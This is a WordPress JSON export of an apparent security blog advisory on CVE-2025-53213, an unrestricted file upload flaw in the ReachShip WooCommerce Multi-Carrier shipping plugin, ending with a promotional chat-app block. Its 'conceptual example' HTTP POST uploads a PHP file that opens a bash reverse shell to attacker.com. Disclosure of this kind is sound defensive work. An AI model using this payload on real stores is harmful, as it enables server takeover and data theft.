{"id":64334,"date":"2025-08-26T17:31:57","date_gmt":"2025-08-26T17:31:57","guid":{"rendered":""},"modified":"2025-09-04T22:36:46","modified_gmt":"2025-09-05T04:36:46","slug":"cve-2025-53213-unrestricted-upload-of-file-with-dangerous-type-vulnerability-in-woocommerce-multi-carrier-conditional-shipping-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53213-unrestricted-upload-of-file-with-dangerous-type-vulnerability-in-woocommerce-multi-carrier-conditional-shipping-plugin\/","title":{"rendered":"<strong>CVE-2025-53213: Unrestricted Upload of File with Dangerous Type Vulnerability in WooCommerce Multi-Carrier &#038; Conditional Shipping Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has recently identified a high-risk vulnerability, designated as CVE-2025-53213, affecting the ReachShip WooCommerce Multi-Carrier &#038; Conditional Shipping plugin. This vulnerability is of particular concern because it allows malicious actors to upload files of dangerous types unrestrictedly, potentially leading to system compromise or data leakage.<br \/>\nAs ReachShip WooCommerce Multi-Carrier &#038; Conditional Shipping is widely used by a vast number of WooCommerce-based online stores, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30327-integer-overflow-vulnerability-in-incopy-leading-to-potential-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"73720\">potential impact of this vulnerability<\/a> is far-reaching. It is therefore vital for store owners, developers, IT administrators, and cybersecurity professionals to be aware of this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40741-stack-based-overflow-vulnerability-in-solid-edge-se2025-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"75760\">vulnerability and take appropriate action to mitigate its potential<\/a> damages.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53213<br \/>\nSeverity: Critical (CVSS: 9.9)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Potential system compromise or <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53495-unauthorized-access-data-leakage-in-wikimedia-foundation-mediawiki-abusefilter-extension\/\"  data-wpil-monitor-id=\"72626\">data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-615670998\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>ReachShip WooCommerce Multi-Carrier &#038; Conditional Shipping | up to and including 4.3.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>This vulnerability arises from insufficient input validation in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6754-privilege-escalation-vulnerability-in-seo-metrics-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"72723\">file upload<\/a> mechanism of the affected plugin. This allows a malicious actor to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52239-arbitrary-file-upload-vulnerability-in-zkeacms-v4-1\/\"  data-wpil-monitor-id=\"74541\">upload a file<\/a> with a dangerous type, such as executable scripts or malware-infected files, without any restriction. Once uploaded, this file could be executed within the server environment, potentially leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53499-critical-unauthorized-access-vulnerability-in-wikimedia-foundation-mediawiki-abusefilter-extension\/\"  data-wpil-monitor-id=\"72801\">unauthorized access<\/a>, system compromise, data leakage, or even a full-scale denial of service (DoS) attack.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-4185962176\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of a HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24000-authentication-bypass-vulnerability-in-wpexperts-post-smtp-plugin\/\"  data-wpil-monitor-id=\"78962\">POST request that could be used to exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/reachship-woocommerce\/upload.php HTTP\/1.1\nHost: vulnerablestore.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;uploadfile&quot;; filename=&quot;exploit.php&quot;\nContent-Type: application\/x-php\n&lt;?php\nexec(&quot;\/bin\/bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/attacker.com\/8080 0&gt;&amp;1&#039;&quot;);\n?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54689-high-risk-php-remote-file-inclusion-vulnerability-in-urna\/\"  data-wpil-monitor-id=\"76594\">PHP file<\/a> (`exploit.php`) is uploaded to the server. When executed, this file establishes a reverse shell connection to the attacker&#8217;s command and control server (`attacker.com`), potentially giving them full <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41659-codesys-control-runtime-system-pki-folder-vulnerability\/\"  data-wpil-monitor-id=\"73926\">control over the compromised system<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has recently identified a high-risk vulnerability, designated as CVE-2025-53213, affecting the ReachShip WooCommerce Multi-Carrier &#038; Conditional Shipping plugin. This vulnerability is of particular concern because it allows malicious actors to upload files of dangerous types unrestrictedly, potentially leading to system compromise or data leakage. As ReachShip WooCommerce [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[87],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-64334","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-dos"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64334","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=64334"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64334\/revisions"}],"predecessor-version":[{"id":71363,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64334\/revisions\/71363"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=64334"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=64334"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=64334"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=64334"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=64334"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=64334"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=64334"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=64334"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=64334"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}